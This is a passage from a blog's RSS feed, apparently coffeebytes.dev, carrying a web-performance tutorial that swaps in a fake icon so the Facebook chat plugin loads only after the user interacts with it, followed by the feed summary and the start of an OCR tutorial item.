--&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fb-customer-chat&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fb-customerchat&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To mitigate the effect of the facebook chat plugin several actions can be performed: we can delay its loading until a certain amount of time has elapsed, also delay it until a user interaction among other things. The optimal solution depends on how your users behave and the website you have.&lt;/p&gt;&#xA;&lt;p&gt;I will delay loading until the user interacts with the chat.&lt;/p&gt;&#xA;&lt;p&gt;To begin with, we will place a fake icon in place of the original one. This icon is the same one that facebook downloads. Since it is a simple image, it does not load any JS code nor is it accompanied by any request to the facebook servers.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;We will identify this fake facebook icon by its id: fb-chat-logo&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;position-fixed&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fb-chat-logo&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;style&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;bottom: 20px;right:20px; z-index: 1;&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;svg&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;width&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;60px&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;height&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;60px&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;viewBox&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;0 0 60 60&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;cursor&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pointer&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;svg&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;x&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;y&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;width&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;60px&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;height&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;60px&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;stroke&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;none&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;stroke-width&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;fill&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;none&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;fill-rule&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;evenodd&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;circle&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;fill&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#0A7CFF&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;cx&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;30&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;cy&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;30&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;30&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;circle&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;svg&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;x&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;10&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;y&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;10&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;transform&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;translate(0.000000, -10.000000)&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;fill&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#FFFFFF&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;logo&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;transform&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;translate(0.000000, 10.000000)&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;path&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;d&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;M20,0 C31.2666,0 40,8.2528 40,19.4 C40,30.5472 31.2666,38.8 20,38.8 C17.9763,38.8 16.0348,38.5327 14.2106,38.0311 C13.856,37.9335 13.4789,37.9612 13.1424,38.1098 L9.1727,39.8621 C8.1343,40.3205 6.9621,39.5819 6.9273,38.4474 L6.8184,34.8894 C6.805,34.4513 6.6078,34.0414 6.2811,33.7492 C2.3896,30.2691 0,25.2307 0,19.4 C0,8.2528 8.7334,0 20,0 Z M7.99009,25.07344 C7.42629,25.96794 8.52579,26.97594 9.36809,26.33674 L15.67879,21.54734 C16.10569,21.22334 16.69559,21.22164 17.12429,21.54314 L21.79709,25.04774 C23.19919,26.09944 25.20039,25.73014 26.13499,24.24744 L32.00999,14.92654 C32.57369,14.03204 31.47419,13.02404 30.63189,13.66324 L24.32119,18.45264 C23.89429,18.77664 23.30439,18.77834 22.87569,18.45674 L18.20299,14.95224 C16.80079,13.90064 14.79959,14.26984 13.86509,15.75264 L7.99009,25.07344 Z&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;path&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;svg&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;svg&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;svg&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, let&amp;rsquo;s get and link this icon with &lt;em&gt;mouseover&lt;/em&gt;, &lt;em&gt;click&lt;/em&gt;, &lt;em&gt;ontouchstart&lt;/em&gt; and &lt;em&gt;ontouchmove&lt;/em&gt; events, so that any interaction with the icon will load the facebook code.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; fakeFbChatLogo &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;document&lt;/span&gt;.getElementById(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;fb-chat-logo&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;click&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ontouchstart&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;mouseover&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ontouchmove&amp;#39;&lt;/span&gt;].forEach(evt =&amp;gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fakeFbChatLogo.addEventListener(evt, loadFacebookChat, &lt;span style=&#34;color:#ff6ac1&#34;&gt;false&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And we will pass it a function called &lt;em&gt;loadFacebookChat&lt;/em&gt; that we will create next.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; loadFacebookChat() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; chatbox &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;document&lt;/span&gt;.getElementById(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;fb-customer-chat&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      chatbox.setAttribute(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;page_id&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;TU_FACEBOOK_CHAT_ID&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      chatbox.setAttribute(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;attribution&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;biz_inbox&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      (&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(d, s, id) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; js, fjs &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; d.getElementsByTagName(s)[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; (d.getElementById(id)) &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        js &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; d.createElement(s); js.id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; id;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        js.src &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;https://connect.facebook.net/es_LA/sdk/xfbml.customerchat.js&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fjs.parentNode.insertBefore(js, fjs);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }(&lt;span style=&#34;color:#ff5c57&#34;&gt;document&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;script&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;facebook-jssdk&amp;#39;&lt;/span&gt;));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;click&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ontouchstart&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;mouseover&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ontouchmove&amp;#39;&lt;/span&gt;].forEach(evt =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fakeFbChatLogo.removeEventListener(evt, loadFacebookChat, &lt;span style=&#34;color:#ff6ac1&#34;&gt;false&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;});&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#78787e&#34;&gt;// window needs to be the latest to prevent FB not defined &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;      &lt;span style=&#34;color:#ff5c57&#34;&gt;window&lt;/span&gt;.fbAsyncInit &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        FB.init({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          xfbml            &lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          version          &lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;v11.0&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }) ;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;// &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;        FB.Event.subscribe(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;xfbml.render&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          FB.CustomerChat.show(&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          fakeFbChatLogo.remove();      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        });&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The content of the function is the same as you get from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.facebook.com/business/help/1524587524402327&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;facebook documentation&lt;/a&gt;&#xA; but with two small extra steps.&lt;/p&gt;&#xA;&lt;p&gt;The first step is to remove the &lt;em&gt;eventListener&lt;/em&gt; we created so that it will no longer be executed once the user interacts with the fake icon.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;click&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ontouchstart&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;mouseover&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ontouchmove&amp;#39;&lt;/span&gt;].forEach(evt =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fakeFbChatLogo.removeEventListener(evt, loadFacebookChat, &lt;span style=&#34;color:#ff6ac1&#34;&gt;false&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;});&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The second step is a subscription to the &lt;em&gt;xfbml.render&lt;/em&gt; event, method that will be executed when our chat is rendered. It is optional to open the chat instantly for the user to see interaction, I have done it this way. And, as a final step, we remove our fake icon, so that it is not displayed along with the original.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FB.Event.subscribe(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;xfbml.render&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          FB.CustomerChat.show(&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;); &lt;span style=&#34;color:#78787e&#34;&gt;//opcional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;          fakeFbChatLogo.remove();      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        });&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With the previous steps we are delaying the loading of the content until the user interacts with it. In this way the loading of the plugin is delayed until the user wants to use it, avoiding the impact on the initial load.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/facebooks-plugin-chat-how-to-decrease-its-impact/images/CargaRetardadaDelFacebookChatPlugin.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/facebooks-plugin-chat-how-to-decrease-its-impact/images/CargaRetardadaDelFacebookChatPlugin.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Delayed loading of facebook plugin&#34; width=&#34;407&#34; height=&#34;365&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The plug-in script is not activated until we interact with the icon&lt;/p&gt;&#xA;&lt;p&gt;See how the fb appears to load normally and there is a small icon change, the animation or extra details you can customize to your liking with CSS and its animations.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The facebook chat plugin allows you to add a page button that connects to the chat of a facebook fanpage. But, as you know, facebook is monopolistic and the default installation loads the plugin first, making your website slower and affecting the web vitals indicators of the pages. There are some ways to mitigate this.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-impact-of-the-facebook-chat-plugin&#34;&gt;The impact of the facebook chat plugin&lt;/h2&gt;&#xA;&lt;p&gt;Loading the facebook plugin triggers a long list of web requests that download about many MB of information and consumes valuable time that can impact your page load, watch.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Minimal Pytesseract tutorial OCR with Python</title>
      <link>https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/</link>
